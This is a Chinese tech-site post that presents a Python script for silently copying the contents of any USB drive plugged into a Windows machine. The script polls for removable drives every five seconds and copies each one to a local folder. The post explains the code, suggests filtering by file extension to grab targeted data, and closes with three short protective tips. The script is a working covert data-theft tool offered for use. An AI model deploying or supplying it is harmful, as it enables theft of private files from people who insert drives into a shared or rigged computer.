Windows窃取U盘数据及防护措施

网友投稿 860 2022-05-28

#!usr/bin/env python3 #!_*_ conding:utf-8 _*_ #!@Author:大秋神 #!@Time:2019-07-30 下午 12:02 import os,shutil,datetime,psutil,time s_path = r"E:\大秋神" while True: #遍历磁盘 for i in psutil.disk_partitions(): if "removable" in i[3]: #i[3] 判断是否是移动盘 # U盘 u_path =i[0] #i[0] 是代表盘符 # #存的位置 if os.path.exists(u_path): #判断路径是否存在 print("正在复制U盘%s" % i[0]) shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S"))) print("U盘%s复制结束"% i[0]) else: print("没有检测到U盘") time.sleep(5) #每5秒等待

_path : 自己修改,其他的可以不修改

Windows窃取U盘数据及防护措施

通过psutil模块获取可移动设备,遍历出可以移动设备的盘符,然后进行判断路径,然后使用shutil模块进行数据拷贝。

为了保证随时监测U盘存在,使用while一直监听。

PS:因为数据量太大,可以在修改源代码,获取指定后缀名的数据,方便快捷

防护措施:

1.不随便将U盘等插入公用电脑

2.打印、传输文件单独放

3.文件进行加密

Python 通用安全

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:asm 磁盘大小是否影响性能
下一篇:pyecharts第三节、仪表盘
相关文章